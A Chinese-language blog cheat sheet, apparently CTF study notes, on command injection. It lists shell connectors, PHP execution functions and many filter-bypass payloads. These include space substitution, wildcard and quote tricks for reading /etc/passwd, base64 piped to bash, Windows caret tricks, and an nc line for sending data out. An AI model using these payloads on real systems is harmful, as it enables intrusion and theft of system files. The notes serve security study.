命令连接符
A 连接符 B
- | A为假,直接报错;A为真,直接执行B
- || A为真,只执行A;A为假,执行B
- & A为真,AB都执行;A为假,直接执行B
- && A为假,直接报错;A为真,AB都执行
- ; 顺序执行,现执行A,后执行B
PHP常见命令执行函数
- system('cmd')
- exec('cmd') exec没有回显,可以使用echo
- shell_exec('cmd') 没有回显,可加上echo
- passthru('cmd')
- popen(string
$command
, string$mode
) eg <?php popen("touch test.txt","r");?> 在当前文件夹创建test.txt - proc_open(
mixed $cmd,
array $descriptorspec,
array &$pipes)
cmd:以 string 形式执行的命令行
descriptorspec:
一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程
pipes:
将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针
7.(``)反引号 php执行运算符
8.ob_start () ob_start:打开输出控制缓冲
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量 中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
命令执行绕过
绕过空格
- ${IFS}绕过 eg cat${IFS}cmdexec.php
- $IFS$9 eg cat$IFS$9cmdexec.php
- %09(tab) eg %09是制表符的url编码,可以代替空格
- %20(space)
- {}绕过 eg ?ip=127.0.0.1;{cat,cmdexec.php}
- <绕过 eg ?ip=127.0.0.1;cat<cmdexec.php
- <>
命令分隔符
linux:%0a %0d ; & && | ||
windows:%0a & | %1a(一个神奇的角色,作为.bat 文件中的命令 分隔符)
其它绕过
linux
- 通配符?或者* 或者[0-9]或者[abc] 比如 /???/fl?g.php fl[abc]g.php
- 转义\ 比如 ca\t f\lag
- 命令拼接,使用连接符拼接命令 比如 a=ca;b=t; $a$b /etc/passswd 有时候ab可能要调换位置 kg=$'\x20flag.txt'&&cat$kg %20是空格; ls & cat /etc/passwd
- 注释符 cat /etc/passwd #anything
- 编码 url编码:cat%20%2Fetc%2Fpasswd base64编码:echo "d2hvYW1p" | base64 -d | bash
- 字符拼接 cat /"e"tc/'p'a's'swd
- 填充垃圾字符 cat /etc/passwd xxx 666`whoami`666
- 分号 cmd1;cmd2
- 反引号(``)和$() echo "result : `whoami`" echo "result : $(whoami)"
- <> < 重定向
- 单双引号 c""at 1.tx''t
- $1、$@、$*绕过$1、$@、$*绕过 c$1a$1t 1.t$1$1x$1t
- 绕过长度限制 使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。
echo -n "cat " > r;
echo -n "/etc" >> r;
echo "/passwd" >> r;
cat r | bash
14.\x20 COMMAND=$'\x20-al';ls$COMMAND
15.环境变量绕过 打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。
16.命令换行
换行执行命令
zxcv0221@kali:~/桌面$ ca\
> t\
> fl\
> ag
17.nc外带数据
本地监听端口 nc -lvp 9999
命令执行出 ping 127.0.0.0 & nc ip port > key.ph
18.
windows:
- type type.\flag.php type,flag.php
- 特殊符号 whoami->who^am^i ->who""ami"i" ->who""""ami
- set命令 set a=whoami
set b=ami
%a%%b%
call %a%%b%
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
4.ping绕过 cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
标签:php,..,echo,命令,cat,执行,whoami From: https://www.cnblogs.com/ykxykx/p/16587842.html